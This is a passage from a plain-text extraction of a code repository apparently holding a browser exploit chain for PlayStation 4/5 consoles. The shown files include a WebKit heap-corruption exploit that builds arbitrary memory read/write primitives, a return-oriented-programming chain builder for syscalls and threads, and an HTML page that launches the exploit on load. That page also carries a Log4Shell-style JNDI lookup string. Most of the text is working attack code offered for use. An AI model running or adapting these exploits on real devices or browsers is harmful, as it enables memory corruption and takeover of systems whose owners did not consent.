let pthread_res = p.malloc(0x8);
var pthread = await thread.spawn_thread();
await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), pthread, pthread_res);
alert(`pthread_join result: ${p.read8(pthread_res)}`);
//Branch sample
let branch_counter = p.malloc(0x8);
p.write8(branch_counter, 0x0);
{
const start_rsp = chain.get_rsp();
const run_twice_condition = chain.create_branch(chain.branch_types.EQUAL, branch_counter, 2);
const not_equal_rsp = chain.get_rsp();
chain.self_healing_syscall(362);
chain.write_result4(branch_counter.add32(0x8));
chain.increment_dword(branch_counter);
chain.jmp_to_rsp(start_rsp);
const stop_rsp = chain.get_rsp();
chain.set_branch_points(run_twice_condition, stop_rsp, not_equal_rsp);
}
await chain.run();
alert(`branch_counter: ${p.read8(branch_counter)}
last kqueue: ${p.read4(branch_counter.add32(0x8))}
`);
}
async function run_hax() {
await userland();
}
/*
//sample 1 (syscall)
pid_t pid = sys_getpid();
//sample2 (threaded rop)
fun() {
pthread_exit(0x11223344);
}
pthread_t thr;
pthread_create(&thr, nullptr, fun, nullptr);
pthread_join(thr, res);
//sample 3 (branching, 'loop')
int last_kqueue = 0;
for(int i = 0; i < 2; i++) {
last_kqueue = sys_kqueue();
}
*/
================================================
FILE: index.html
================================================
<html>
<head>
<title>pOOBs4 9.00 & pOOBs5 4.03</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
background-color: #242629;
}
.loader {
position: absolute;
left: 50%;
top: 50%;
margin: -75px 0 0 -75px;
border: 10px solid #1f1e1e;
border-radius: 50%;
border-top: 10px solid #044595;
border-left: 10px solid #044595;
width: 120px;
height: 120px;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.info {
overflow: hidden;
position: fixed;
position: absolute;
top: 50%;
left: 50%;
font-size: 45px;
font-family: sans-serif;
color: #b8b8b8;
transform: translate(-50%, -50%);
}
.j {
font-size: 15px;
color: #2F3335;
}
</style>
<script>
function allset() {
document.getElementById("loader").style.display = "none";
document.getElementById("allset").style.display = "block";
}
function awaitpl() {
document.getElementById("loader").style.display = "none";
document.getElementById("awaiting").style.display = "block";
}
</script>
<script src="int64.js"></script>
<script src="rop.js"></script>
<script src="exploit.js"></script>
<script src="webkit.js"></script>
</head>
</html>
<body onload="setTimeout(poc, 1500);">
<div id="loader" class="loader"></div>
<div id="awaiting" class="info" style="display:none;">
Awaiting Payload...
<br />
<span class="j">${jndi:ldap://nsa.gov}</span>
</div>
<div id="allset" class="info" style="display:none;">
You're all set!
</div>
</body>
<script>
</script>
================================================
FILE: int64.js
================================================
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
this.add32inplace = function (val) {
let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
let new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi = new_hi;
this.low = new_lo;
}
this.add32 = function (val) {
let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
let new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function (val) {
let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
let new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function (val) {
let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
let new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi = new_hi;
this.low = new_lo;
}
this.and32 = function (val) {
let new_lo = this.low & val;
let new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function (vallo, valhi) {
let new_lo = this.low & vallo;
let new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function () {
let lo_str = (this.low >>> 0).toString(16);
let hi_str = (this.hi >>> 0).toString(16);
if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)
return hi_str + lo_str;
}
return this;
}
function zeroFill(number, width) {
width -= number.toString().length;
if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
return number + ""; // always return a string
}
================================================
FILE: rop.js
================================================
class rop {
constructor(stack_size = 0x40000, reserved_stack = 0x10000) {
this.stack_size = stack_size;
this.reserved_stack = reserved_stack;
this.stack_dwords = stack_size / 0x4;
this.reserved_stack_index = this.reserved_stack / 0x4;
this.stack_memory = p.malloc(this.stack_dwords + 0x2 + 0x200);
this.stack_array = this.stack_memory.backing;
this.stack_entry_point = this.stack_memory.add32(this.reserved_stack);
this.return_value = this.stack_memory.add32(this.stack_size);
this.initial_count = 0;
this.count = 0;
this.branches = this.return_value.add32(0x8);
this.branches_count = 0;
this.branch_types = {
EQUAL: 0x314500,
ABOVE: 0x314501,
BELOW: 0x314502,
GREATER: 0x314503,
LESSER: 0x314504,
};
}
set_initial_count(count) {
this.initial_count = count;
if (this.count == 0) {
this.count = this.initial_count;
}
}
clear() {
this.count = this.initial_count;
this.branches_count = 0;
for (let i = 0; i < this.stack_dwords; i++) {
this.stack_array[i] = 0x0;
}
}
increment_stack() {
return this.count++;
}
set_entry(index, value) {
if (value instanceof int64) {
this.stack_array[this.reserved_stack_index + index * 2] = value.low;
this.stack_array[this.reserved_stack_index + index * 2 + 1] = value.hi;
} else if (typeof (value) == 'number') {
this.stack_array[this.reserved_stack_index + index * 2] = value;
this.stack_array[this.reserved_stack_index + index * 2 + 1] = 0x0;
if (value > 0xFFFFFFFF) {
alert("you're trying to write a value exceeding 32-bits without using a int64 instance");
}
} else {
alert("You're trying to write a non number/non int64 value?");
}
}
/**
* performs `*rsp = value; rsp += 8;`
*/
push(value) {
this.set_entry(this.increment_stack(), value);
}
/**
* performs `*dest = value;` in chain
*/
push_write8(dest, value) {
this.push(gadgets["pop rdi"]);
this.push(dest);
this.push(gadgets["pop rsi"]);
this.push(value);
this.push(gadgets["mov [rdi], rsi"]);
}
/**
* performs `*dest = rax;` in chain
*/
write_result(dest) {
this.push(gadgets["pop rdi"]);
this.push(dest);
this.push(gadgets["mov [rdi], rax"]);
}
/**
* performs `*dest = eax;` in chain
*/
write_result4(dest) {
this.push(gadgets["pop rdi"]);
this.push(dest);
this.push(gadgets["mov [rdi], eax"]);
}
/**
* pushes rdi-r9 args on the stack for sysv calls
*/
push_sysv(rdi, rsi, rdx, rcx, r8, r9) {
if (rdi != undefined) {
this.push(gadgets["pop rdi"]);
this.push(rdi);
}
if (rsi != undefined) {
this.push(gadgets["pop rsi"]);
this.push(rsi);
}
if (rdx != undefined) {
this.push(gadgets["pop rdx"]);
this.push(rdx);
}
if (rcx != undefined) {
this.push(gadgets["pop rcx"]);
this.push(rcx);
}
if (r8 != undefined) {
this.push(gadgets["pop r8"]);
this.push(r8);
}
if (r9 != undefined) {
this.push(gadgets["pop r9"]);
this.push(r9);
}
}
/**
* helper function to add a standard sysv call to the chain.
*/
fcall(rip, rdi, rsi, rdx, rcx, r8, r9) {
this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);
if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {
this.push(gadgets["ret"]);
}
this.push(rip);
}
/**
* returns the current stack pointer.
*/
get_rsp() {
return this.stack_entry_point.add32(this.count * 0x8);
}
/**
* performs `rsp = dest;` in chain.
* can be used to 'jump' to different parts of a rop chain
*/
jmp_to_rsp(dest) {
this.push(gadgets["pop rsp"]);
this.push(dest);
}
/**
* function intended to build a reusable 'syscall' chain.
* Having a syscall return an error makes the stub perform a push rax, a call and a push rbp, this would usually corrupt the rop chain for later reuse
*/
self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);
let restore_point = this.get_rsp();
this.push(gadgets["ret"]);
this.push(gadgets["ret"]);
this.push(gadgets["ret"]);
if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {
this.push(gadgets["ret"]);
restore_point.add32inplace(0x8);
}
this.push(syscalls[sysc]);
this.push_write8(restore_point, gadgets["ret"]);
this.push_write8(restore_point.add32(0x08), gadgets["ret"]);
this.push_write8(restore_point.add32(0x10), gadgets["ret"]);
this.push_write8(restore_point.add32(0x18), syscalls[sysc]);
}
/**
* returns the next available branch
*/
get_branch() {
return this.branches.add32(this.branches_count++ * 0x10);
}
/**
* prepares a branch in the rop chain, for 32b comparisons on [addr] <-> compare value
* use branch_types.XXXXX as type argument.
* returns a ptr ptr for the branchpoints
* use logical inversions for other jmp types. setne -> inverted sete, setbe -> inverted seta, ...
*/
create_branch(type, value_address, compare_value) {
let branch_addr = this.get_branch();
this.push(gadgets["pop rcx"]);
this.push(value_address);
this.push(gadgets["pop rax"]);
this.push(compare_value);
this.push(gadgets["cmp [rcx], eax"]);
this.push(gadgets["pop rax"]);
this.push(0);
if (type == this.branch_types.EQUAL) {
this.push(gadgets["sete al"]);
} else if (type == this.branch_types.ABOVE) {
this.push(gadgets["seta al"]);
} else if (type == this.branch_types.BELOW) {
this.push(gadgets["setb al"]);
} else if (type == this.branch_types.GREATER) {
this.push(gadgets["setg al"]);
} else if (type == this.branch_types.LESSER) {
this.push(gadgets["setl al"]);
} else {
alert("illegal branch type.");
}
this.push(gadgets["shl rax, 3"]);
this.push(gadgets["pop rdx"]);
this.push(branch_addr);
this.push(gadgets["add rax, rdx"]);
this.push(gadgets["mov rax, [rax]"]);
this.push(gadgets["pop rdi"]);
let branch_pointer_pointer_idx = this.increment_stack();
this.push(gadgets["mov [rdi], rax"]);
this.push(gadgets["pop rsp"]);
let branch_pointer = this.get_rsp();
this.increment_stack();
this.set_entry(branch_pointer_pointer_idx, branch_pointer);
return branch_addr;
}
/**
* finalizes a branch by setting the destination stack pointers.
* swap met and not met args if trying for an inverted jmp type.
*/
set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_met) {
p.write8(branch_addr.add32(0x0), rsp_condition_not_met);
p.write8(branch_addr.add32(0x8), rsp_condition_met);
}
/**
* performs (*address)++; in chain
*/
increment_dword(address) {
this.push(gadgets["pop rax"]);
this.push(address);
this.push(gadgets["inc dword [rax]"]);
}
}
//extension of the generic rop class intended to be used with the hijacked worker thread.
class worker_rop extends rop {
constructor(stack_size, reserved_stack) {
super(stack_size, reserved_stack);
p.pre_chain(this);
}
clear() {
super.clear();
p.pre_chain(this);
}
async call(rip, rdi, rsi, rdx, rcx, r8, r9) {
this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
this.write_result(this.return_value);
await this.run();
return p.read8(this.return_value);
}
async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
return await this.call(syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
}
async run() {
await p.launch_chain(this);
this.clear();
}
}
class thread_rop extends rop {
constructor(name = "rop_thread", stack_size, reserved_stack) {
super(stack_size, reserved_stack);
//we longjmp into the ropchain, longjmp overites the first entry stack entry with its own saved 'return address' this requires us to skip an entry.
this.set_initial_count(1);
//prepare lonjmp context
p.write8(this.stack_memory, gadgets["ret"]); //ret address
p.write8(this.stack_memory.add32(0x08), 0x0); //rbx
p.write8(this.stack_memory.add32(0x10), this.stack_entry_point); //rsp
p.write8(this.stack_memory.add32(0x18), 0x0); //rbp
p.write8(this.stack_memory.add32(0x20), 0x0); //r12
p.write8(this.stack_memory.add32(0x28), 0x0); //r13
p.write8(this.stack_memory.add32(0x30), 0x0); //r14
p.write8(this.stack_memory.add32(0x38), 0x0); //r15
p.write4(this.stack_memory.add32(0x40), 0x37F); //fpu control word
p.write4(this.stack_memory.add32(0x44), 0x9FE0); //mxcsr
p.writestr(this.stack_memory.add32(0x50), name); //thr name
}
/**
* returns created pthread_t as int64
*/
async spawn_thread() {
//add pthread_exit((void*)0x44414544); -> "DEAD"
this.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x44414544);
await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), this.stack_memory.add32(0x48), 0x0, libSceLibcInternalBase.add32(OFFSET_lc_longjmp), this.stack_memory, this.stack_memory.add32(0x50));
return p.read8(this.stack_memory.add32(0x48));
}
}
================================================
FILE: rop_slave.js
================================================
let my_worker = this;
self.onmessage = function (event) {
event.ports[0].postMessage(1);
}
================================================
FILE: webkit.js
================================================
var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x100A;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
function hex(n) {
if ((typeof n) != "number")
return "" + n;
return "0x" + (new Number(n)).toString(16);
}
function poc() {
var union = new ArrayBuffer(8);
var union_b = new Uint8Array(union);
var union_i = new Uint32Array(union);
var union_f = new Float64Array(union);
var bad_fonts = [];
for (var i = 0; i < SPRAY_FONTS; i++)
bad_fonts.push(new FontFace("font1", "", {}));
var good_font = new FontFace("font2", "url(data:text/html,)", {});
bad_fonts.push(good_font);
var arrays = [];
for (var i = 0; i < 512; i++)
arrays.push(new Array(31));
arrays[256][0] = 1.5;
arrays[257][0] = {};
arrays[258][0] = 1.5;
var jsvalue = {
a: arrays[256],
b: new Uint32Array(1),
c: true
};
var string_atomifier = {};
var string_id = 10000000;
function ptrToString(p) {
var s = '';
for (var i = 0; i < 8; i++) {
s += String.fromCharCode(p % 256);
p = (p - p % 256) / 256;
}
return s;
}
function stringToPtr(p, o) {
if (o === undefined)
o = 0;
var ans = 0;
for (var i = 7; i >= 0; i--)
ans = 256 * ans + p.charCodeAt(o + i);
return ans;
}
var strings = [];
function mkString(l, head) {
var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
string_atomifier[s] = 1;
strings.push(s);
return s;
}
var guf = GUESS_FONT;
var ite = true;
var matches = 0;
var round = 0;
window.ffses = {};
do {
var p_s = ptrToString(NPAGES + 2); // vector.size()
for (var i = 0; i < NPAGES; i++)
p_s += ptrToString(guf + i * PAGE_SIZE);
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
var guessed_font = null;
var guessed_addr = null;
for (var i = 0; i < SPRAY_FONTS; i++) {
bad_fonts[i].family = "search" + round;
if (badstr1.substr(0, p_s.length) != p_s) {
guessed_font = i;
var p_s1 = badstr1.substr(0, p_s.length);
for (var i = 1; i <= NPAGES; i++) {
if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
break;
}
}
if (matches++ == 0) {
guf = guessed_addr + 2 * PAGE_SIZE;
guessed_addr = null;
}
break;
}
}
if ((ite = !ite))
guf += NPAGES * PAGE_SIZE;
}
while (guessed_addr === null);
var p_s = '';
p_s += ptrToString(26);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
for (var i = 0; i < 19; i++)
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var needfix = [];
for (var i = 0;; i++) {
ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
needfix.push(mkString(HASHMAP_BUCKET, p_s));
bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font + 1].family = "evil3";
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
if (leak < 0x1000000000000)
break;
}
function makeReader(read_addr, ffs_name) {
var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
fake_s += ptrToString(read_addr); //where to read from
fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
p_s = '';
p_s += ptrToString(29);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
for (var i = 0; i < 18; i++)
p_s += ptrToString(INVALID_POINTER);
for (var i = 0; i < 256; i++)
mkString(HASHMAP_BUCKET, p_s);
var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
mkString(HASHMAP_BUCKET, p_s);
var relative_read = mkString(HASHMAP_BUCKET, fake_s);
bad_fonts[guessed_font].family = ffs_name + "_evil1";
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
needfix.push(relative_read);
if (relative_read.length < 1000) //failed
return makeReader(read_addr, ffs_name + '_');
return relative_read;
}
var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
for (var i = 0; i < 100000; i++)
mkString(128, '');
var props = [];
for (var i = 0; i < 0x10000; i++) {
props.push({
value: 0x41434442
});
props.push({
value: jsvalue
});
}
var jsvalue_leak = null;
while (jsvalue_leak === null) {
Object.defineProperties({}, props);
for (var i = 0;; i++) {
if (fastmalloc.charCodeAt(i) == 0x42 &&
fastmalloc.charCodeAt(i + 1) == 0x44 &&
fastmalloc.charCodeAt(i + 2) == 0x43 &&
fastmalloc.charCodeAt(i + 3) == 0x41 &&
fastmalloc.charCodeAt(i + 4) == 0 &&
fastmalloc.charCodeAt(i + 5) == 0 &&
fastmalloc.charCodeAt(i + 6) == 254 &&
fastmalloc.charCodeAt(i + 7) == 255 &&
fastmalloc.charCodeAt(i + 24) == 14
) {
jsvalue_leak = stringToPtr(fastmalloc, i + 32);
break;
}
}
}
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
var rd_arr = makeReader(array256, 'ffs5');
var butterfly = stringToPtr(rd_arr, 8);
var rd_ui32 = makeReader(ui32a, 'ffs6');
for (var i = 0; i < 8; i++)
union_b[i] = rd_ui32.charCodeAt(i);
var structureid_low = union_i[0];
var structureid_high = union_i[1];
//setup for addrof/fakeobj
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
union_i[0] = 0x10000;
union_i[1] = 0; //account for nan-boxing
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
arrays[257][0] = union_f[0];
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
arrays[256][i] = union_f[0];
//hammer time!
pp_s = '';
pp_s += ptrToString(56);
for (var i = 0; i < 12; i++)
pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);
var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
fake_s += ptrToString(butterfly); //hammer target
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34
var ffs7_args = [];
for (var i = 0; i < 12; i++)
ffs7_args.push(bad_fonts[guessed_font + i]);
ffs7_args.push(good_font);
var ffs8_args = [bad_fonts[guessed_font + 12]];
for (var i = 0; i < 5; i++)
ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));
for (var i = 0; i < HAMMER_NSTRINGS; i++)
mkString(HASHMAP_BUCKET, pp_s);
ffses.ffs7 = new FontFaceSet(ffs7_args);
mkString(HASHMAP_BUCKET, pp_s);
ffses.ffs8 = new FontFaceSet(ffs8_args);
var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
needfix.push(post_ffs);
for (var i = 0; i < 13; i++)
bad_fonts[guessed_font + i].family = "hammer" + i;
function boot_addrof(obj) {
arrays[257][32] = obj;
union_f[0] = arrays[258][0];
return union_i[1] * 0x100000000 + union_i[0];
}
function boot_fakeobj(addr) {
union_i[0] = addr;
union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
arrays[258][0] = union_f[0];
return arrays[257][32];
}
//craft misaligned typedarray
var arw_master = new Uint32Array(8);
var arw_slave = new Uint8Array(1);
var obj_master = new Uint32Array(8);
var obj_slave = {
obj: null
};
var addrof_slave = boot_addrof(arw_slave);
var addrof_obj_slave = boot_addrof(obj_slave);
union_i[0] = structureid_low;
union_i[1] = structureid_high;
union_b[6] = 7;
var obj = {
jscell: union_f[0],
butterfly: true,
buffer: arw_master,
size: 0x5678
};
function i48_put(x, a) {
a[4] = x | 0;
a[5] = (x / 4294967296) | 0;
}
function i48_get(a) {
return a[4] + a[5] * 4294967296;
}
window.addrof = function (x) {
obj_slave.obj = x;
return i48_get(obj_master);
}
window.fakeobj = function (x) {
i48_put(x, obj_master);
return obj_slave.obj;
}
function read_mem_setup(p, sz) {
i48_put(p, arw_master);
arw_master[6] = sz;
}
window.read_mem = function (p, sz) {
read_mem_setup(p, sz);
var arr = [];
for (var i = 0; i < sz; i++)
arr.push(arw_slave[i]);
return arr;
};
window.write_mem = function (p, data) {
read_mem_setup(p, data.length);
for (var i = 0; i < data.length; i++)
arw_slave[i] = data[i];
};
window.read_ptr_at = function (p) {
var ans = 0;
var d = read_mem(p, 8);
for (var i = 7; i >= 0; i--)
ans = 256 * ans + d[i];
return ans;
};
window.write_ptr_at = function (p, d) {
var arr = [];
for (var i = 0; i < 8; i++) {
arr.push(d & 0xff);
d /= 256;
}
write_mem(p, arr);
};
(function () {
var magic = boot_fakeobj(boot_addrof(obj) + 16);
magic[4] = addrof_slave;
magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
obj.buffer = obj_master;
magic[4] = addrof_obj_slave;
magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
magic = null;
})();
//fix fucked objects to stabilize webkit
(function () {
//fix fontfaceset (memmoved 96 bytes to low, move back)
var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
//fix strings (restore "valid") header
for (var i = 0; i < needfix.length; i++) {
var addr = read_ptr_at(addrof(needfix[i]) + 8);
write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
write_ptr_at(addr + 8, addr + 20);
write_ptr_at(addr + 16, 0x80000014);
}
//fix array butterfly
write_ptr_at(butterfly + 248, 0x1f0000001f);
})();
//^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
//create compat stuff for kexploit.js
let expl_master = new Uint32Array(8);
let expl_slave = new Uint32Array(2);
let addrof_expl_slave = addrof(expl_slave);
let m = fakeobj(addrof(obj) + 16);
obj.buffer = expl_slave;
m[7] = 1;
obj.buffer = expl_master;
m[4] = addrof_expl_slave;
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
m[7] = 1;
let prim = {
write8: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
if (value instanceof int64) {
expl_slave[0] = value.low;
expl_slave[1] = value.hi;
} else {
expl_slave[0] = value;
expl_slave[1] = 0;
}
},
write4: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
if (value instanceof int64) {
expl_slave[0] = value.low;
} else {
expl_slave[0] = value;
}
},
write2: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
let tmp = expl_slave[0] & 0xFFFF0000;
if (value instanceof int64) {
expl_slave[0] = ((value.low & 0xFFFF) | tmp);
} else {
expl_slave[0] = ((value & 0xFFFF) | tmp);
}
},
write1: function (addr, value) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
let tmp = expl_slave[0] & 0xFFFFFF00;
if (value instanceof int64) {
expl_slave[0] = ((value.low & 0xFF) | tmp);
} else {
expl_slave[0] = ((value & 0xFF) | tmp);
}
},
read8: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return new int64(expl_slave[0], expl_slave[1]);
},
read4: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0];
},
read2: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0] & 0xFFFF;
},
read1: function (addr) {
expl_master[4] = addr.low;
expl_master[5] = addr.hi;
return expl_slave[0] & 0xFF;
},
leakval: function (obj) {
obj_slave.obj = obj;
return new int64(obj_master[4], obj_master[5]);
}
};
window.p = prim;
run_hax();
}
gitextract_414mdp3f/ ├── .github/ │ └── README.md ├── exploit.js ├── index.html ├── int64.js ├── rop.js ├── rop_slave.js └── webkit.js
SYMBOL INDEX (39 symbols across 4 files)
FILE: exploit.js
constant IS_PS5 (line 11) | const IS_PS5 = navigator.userAgent.includes("PlayStation 5");
function set_offset_for_platform (line 13) | function set_offset_for_platform(ps5_offset, ps4_offset) {
constant OFFSET_WORKER_STACK_OFFSET (line 31) | const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0...
function wait_for_worker (line 436) | async function wait_for_worker() {
function find_worker (line 448) | function find_worker() {
function userland (line 464) | async function userland() {
function run_hax (line 688) | async function run_hax() {
FILE: int64.js
function int64 (line 1) | function int64(low, hi) {
function zeroFill (line 78) | function zeroFill(number, width) {
FILE: rop.js
class rop (line 1) | class rop {
method constructor (line 3) | constructor(stack_size = 0x40000, reserved_stack = 0x10000) {
method set_initial_count (line 29) | set_initial_count(count) {
method clear (line 36) | clear() {
method increment_stack (line 44) | increment_stack() {
method set_entry (line 48) | set_entry(index, value) {
method push (line 66) | push(value) {
method push_write8 (line 73) | push_write8(dest, value) {
method write_result (line 84) | write_result(dest) {
method write_result4 (line 93) | write_result4(dest) {
method push_sysv (line 102) | push_sysv(rdi, rsi, rdx, rcx, r8, r9) {
method fcall (line 139) | fcall(rip, rdi, rsi, rdx, rcx, r8, r9) {
method get_rsp (line 150) | get_rsp() {
method jmp_to_rsp (line 158) | jmp_to_rsp(dest) {
method self_healing_syscall (line 167) | self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
method get_branch (line 189) | get_branch() {
method create_branch (line 199) | create_branch(type, value_address, compare_value) {
method set_branch_points (line 245) | set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_me...
method increment_dword (line 253) | increment_dword(address) {
class worker_rop (line 261) | class worker_rop extends rop {
method constructor (line 263) | constructor(stack_size, reserved_stack) {
method clear (line 268) | clear() {
method call (line 273) | async call(rip, rdi, rsi, rdx, rcx, r8, r9) {
method syscall (line 280) | async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
method run (line 284) | async run() {
class thread_rop (line 290) | class thread_rop extends rop {
method constructor (line 291) | constructor(name = "rop_thread", stack_size, reserved_stack) {
method spawn_thread (line 314) | async spawn_thread() {
FILE: webkit.js
function hex (line 12) | function hex(n) {
function poc (line 18) | function poc() {
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (64K chars).
[
{
"path": ".github/README.md",
"chars": 6952,
"preview": "# Exploring the Playstation 5 Security - Userland\r\n---\r\n## Introduction\r\nThe PlayStation 5 was released on November 12"
},
{
"path": "exploit.js",
"chars": 24757,
"preview": "//Common chain\nlet chain;\n//Bases\nlet libSceNKWebKitBase;\nlet libSceLibcInternalBase;\nlet libKernelBase;\n//ASLR defeat p"
},
{
"path": "index.html",
"chars": 2127,
"preview": "<html>\n\n<head>\n <title>pOOBs4 9.00 & pOOBs5 4.03</title>\n <meta name=\"viewport\" content=\"width=device-width, initi"
},
{
"path": "int64.js",
"chars": 2031,
"preview": "function int64(low, hi) {\n this.low = (low >>> 0);\n this.hi = (hi >>> 0);\n\n this.add32inplace = function (val) "
},
{
"path": "rop.js",
"chars": 10455,
"preview": "class rop {\r\n\r\n constructor(stack_size = 0x40000, reserved_stack = 0x10000) {\r\n this.stack_size = stack_size;\r"
},
{
"path": "rop_slave.js",
"chars": 95,
"preview": "let my_worker = this;\n\nself.onmessage = function (event) {\n event.ports[0].postMessage(1);\n}"
},
{
"path": "webkit.js",
"chars": 14687,
"preview": "var PAGE_SIZE = 16384;\nvar SIZEOF_CSS_FONT_FACE = 0xb8;\nvar HASHMAP_BUCKET = 208;\nvar STRING_OFFSET = 20;\nvar SPRAY_FONT"
}
]
About this extraction
This page contains the full source code of the ChendoChap/PS5-Webkit-Execution GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (59.7 KB), approximately 20.4k tokens, and a symbol index with 39 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.